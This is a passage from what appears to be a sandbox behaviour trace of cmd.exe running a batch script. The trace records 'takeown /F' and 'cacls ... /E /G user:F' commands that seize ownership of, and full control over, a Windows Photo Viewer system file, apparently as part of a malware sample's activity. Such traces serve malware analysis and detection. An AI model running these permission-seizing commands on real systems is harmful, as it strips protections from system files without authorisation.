HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0109.405] GetLastError () returned 0x2 [0109.405] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0109.406] GetLastError () returned 0x2 [0109.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.406] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0x6c1250 [0109.406] GetProcessHeap () returned 0x6c0000 [0109.406] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d36a0, Size=0x4) returned 0x6d36a0 [0109.406] FindClose (in: hFindFile=0x6c1250 | out: hFindFile=0x6c1250) returned 1 [0109.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0xffffffff [0109.407] GetLastError () returned 0x2 [0109.407] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x31f234, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31f234) returned 0x6c1250 [0109.407] FindClose (in: hFindFile=0x6c1250 | out: hFindFile=0x6c1250) returned 1 [0109.407] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0109.407] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0109.407] GetConsoleTitleW (in: lpConsoleTitle=0x31f284, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.407] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x210) returned 0x6d45b0 [0109.407] GetProcessHeap () returned 0x6c0000 [0109.408] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xd4) returned 0x6d47c8 [0109.408] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x418) returned 0x6d48a8 [0109.408] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6d48b0, lpFilePart=0x31eda4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x31eda4*="Desktop") returned 0x25 [0109.408] SetErrorMode (uMode=0x0) returned 0x1 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d48a8, Size=0x60) returned 0x6d48a8 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d48a8) returned 0x60 [0109.408] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0109.408] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x120) returned 0x6d4910 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x238) returned 0x6d4a38 [0109.408] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4a38, Size=0x122) returned 0x6d4a38 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4a38) returned 0x122 [0109.408] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0109.408] GetProcessHeap () returned 0x6c0000 [0109.408] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xe0) returned 0x6d4b68 [0109.409] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4b68, Size=0x76) returned 0x6d4b68 [0109.409] GetProcessHeap () returned 0x6c0000 [0109.409] RtlSizeHeap (HeapHandle=0x6c0000, Flags=0x0, MemoryPointer=0x6d4b68) returned 0x76 [0109.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.409] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0109.409] GetLastError () returned 0x2 [0109.409] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0109.409] GetLastError () returned 0x2 [0109.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0109.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0x6c1250 [0109.410] FindClose (in: hFindFile=0x6c1250 | out: hFindFile=0x6c1250) returned 1 [0109.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0xffffffff [0109.410] GetLastError () returned 0x2 [0109.410] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x31eb20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x31eb20) returned 0x6c1250 [0109.410] FindClose (in: hFindFile=0x6c1250 | out: hFindFile=0x6c1250) returned 1 [0109.410] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0109.410] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0109.410] GetConsoleTitleW (in: lpConsoleTitle=0x31f018, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0109.410] InitializeProcThreadAttributeList (in: lpAttributeList=0x31eea0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x31ef68 | out: lpAttributeList=0x31eea0, lpSize=0x31ef68) returned 1 [0109.411] UpdateProcThreadAttribute (in: lpAttributeList=0x31eea0, dwFlags=0x0, Attribute=0x60001, lpValue=0x31ef60, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x31eea0, lpPreviousValue=0x0) returned 1 [0109.411] GetStartupInfoW (in: lpStartupInfo=0x31ee5c | out: lpStartupInfo=0x31ee5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0109.411] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x18) returned 0x6c1250 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0109.411] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0109.412] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0109.412] GetProcessHeap () returned 0x6c0000 [0109.412] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1250 | out: hHeap=0x6c0000) returned 1 [0109.412] GetProcessHeap () returned 0x6c0000 [0109.412] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xa) returned 0x6c0db8 [0109.412] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0109.414] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x31eefc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x31ef48 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x31ef48*(hProcess=0x74, hThread=0x78, dwProcessId=0xefc, dwThreadId=0xf00)) returned 1 [0109.431] CloseHandle (hObject=0x78) returned 1 [0109.431] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0109.431] GetProcessHeap () returned 0x6c0000 [0109.431] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d5fc0 | out: hHeap=0x6c0000) returned 1 [0109.431] GetEnvironmentStringsW () returned 0x6d5fc0* [0109.432] GetProcessHeap () returned 0x6c0000 [0109.432] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb36) returned 0x6d6b00 [0109.432] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0109.432] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0111.225] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x31ee3c | out: lpExitCode=0x31ee3c*=0x1f57) returned 1 [0111.228] CloseHandle (hObject=0x74) returned 1 [0111.234] _vsnwprintf (in: _Buffer=0x31ef84, _BufferCount=0x13, _Format="%08X", _ArgList=0x31ee48 | out: _Buffer="00001F57") returned 8 [0111.235] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0111.237] GetProcessHeap () returned 0x6c0000 [0111.237] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6b00 | out: hHeap=0x6c0000) returned 1 [0111.240] GetEnvironmentStringsW () returned 0x6d5fc0* [0111.241] GetProcessHeap () returned 0x6c0000 [0111.241] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb5c) returned 0x6d81a8 [0111.241] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0111.241] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0111.241] GetProcessHeap () returned 0x6c0000 [0111.241] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d81a8 | out: hHeap=0x6c0000) returned 1 [0111.241] GetEnvironmentStringsW () returned 0x6d5fc0* [0111.241] GetProcessHeap () returned 0x6c0000 [0111.241] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0xb5c) returned 0x6d81a8 [0111.241] FreeEnvironmentStringsW (penv=0x6d5fc0) returned 1 [0111.241] GetProcessHeap () returned 0x6c0000 [0111.241] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c0db8 | out: hHeap=0x6c0000) returned 1 [0111.241] DeleteProcThreadAttributeList (in: lpAttributeList=0x31eea0 | out: lpAttributeList=0x31eea0) [0111.241] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.241] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0111.242] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.242] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0111.242] _get_osfhandle (_FileHandle=0) returned 0x3 [0111.242] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0111.242] SetConsoleInputExeNameW () returned 0x1 [0111.242] GetConsoleOutputCP () returned 0x1b5 [0111.242] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0111.242] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x31f6bc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0111.243] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0111.243] _get_osfhandle (_FileHandle=3) returned 0x74 [0111.243] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0111.243] GetProcessHeap () returned 0x6c0000 [0111.243] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4b68 | out: hHeap=0x6c0000) returned 1 [0111.243] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4a38 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4910 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d48a8 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d47c8 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d45b0 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4530 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4400 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d42d8 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4270 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d41a0 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c1230 | out: hHeap=0x6c0000) returned 1 [0111.244] GetProcessHeap () returned 0x6c0000 [0111.244] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c11d0 | out: hHeap=0x6c0000) returned 1 [0111.244] _get_osfhandle (_FileHandle=3) returned 0x74 [0111.244] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0111.244] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x31f6a0, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x31f6a0*=0xc2, lpOverlapped=0x0) returned 1 [0111.245] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0111.245] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0111.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0111.246] GetFileType (hFile=0x74) returned 0x1 [0111.246] _get_osfhandle (_FileHandle=3) returned 0x74 [0111.246] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0111.246] GetProcessHeap () returned 0x6c0000 [0111.246] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x400a) returned 0x6e4bc8 [0111.246] GetProcessHeap () returned 0x6c0000 [0111.246] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6e4bc8 | out: hHeap=0x6c0000) returned 1 [0111.246] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x58) returned 0x6c11d0 [0111.246] GetProcessHeap () returned 0x6c0000 [0111.246] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x18) returned 0x6c1230 [0111.247] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x8e) returned 0x6d41a0 [0111.247] _tell (_FileHandle=3) returned 47 [0111.247] _close (_FileHandle=3) returned 0 [0111.248] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f474 | out: _Buffer="\r\n") returned 2 [0111.248] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.248] GetFileType (hFile=0x7) returned 0x2 [0111.248] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.248] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f434 | out: lpMode=0x31f434) returned 1 [0111.248] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.248] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f460, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f460*=0x2) returned 1 [0111.250] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0111.250] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0111.250] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x31f470 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0111.250] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x31f470 | out: _Buffer=">") returned 1 [0111.250] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.250] GetFileType (hFile=0x7) returned 0x2 [0111.250] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.250] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f438 | out: lpMode=0x31f438) returned 1 [0111.251] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.251] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x31f464, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x31f464*=0x26) returned 1 [0111.251] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.251] GetFileType (hFile=0x7) returned 0x2 [0111.251] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.251] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6bc | out: lpMode=0x31f6bc) returned 1 [0111.252] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.252] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x6c1238*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x31f6e8, lpReserved=0x0 | out: lpBuffer=0x6c1238*, lpNumberOfCharsWritten=0x31f6e8*=0x7) returned 1 [0111.252] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x31f6f4 | out: _Buffer=" /F \"C:\\Program Files\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui\" ") returned 67 [0111.252] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.252] GetFileType (hFile=0x7) returned 0x2 [0111.252] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.252] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6b4 | out: lpMode=0x31f6b4) returned 1 [0111.252] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.252] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x31f6e0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f6e0*=0x43) returned 1 [0111.254] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x31f714 | out: _Buffer="\r\n") returned 2 [0111.254] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.254] GetFileType (hFile=0x7) returned 0x2 [0111.254] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0111.254] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x31f6d4 | out: lpMode=0x31f6d4) returned 1 [0111.254] _get_osfhandle (_FileHandle=1) returned 0x7 [0111.254] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x31f700, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x31f700*=0x2) returned 1 [0111.256] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0111.256] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0111.256] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0111.256] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0111.256] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0111.256] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0111.256] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0111.256] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0111.256] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0111.256] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0111.256] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0111.256] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0111.256] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0111.256] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0111.256] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0111.256] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0111.256] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0111.256] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0111.256] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0111.256] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0111.256] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0111.256] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0111.256] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0111.256] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0111.256] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0111.256] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0111.256] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0111.256] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0111.256] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0111.256] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0111.256] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0111.256] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0111.256] _wcsicmp 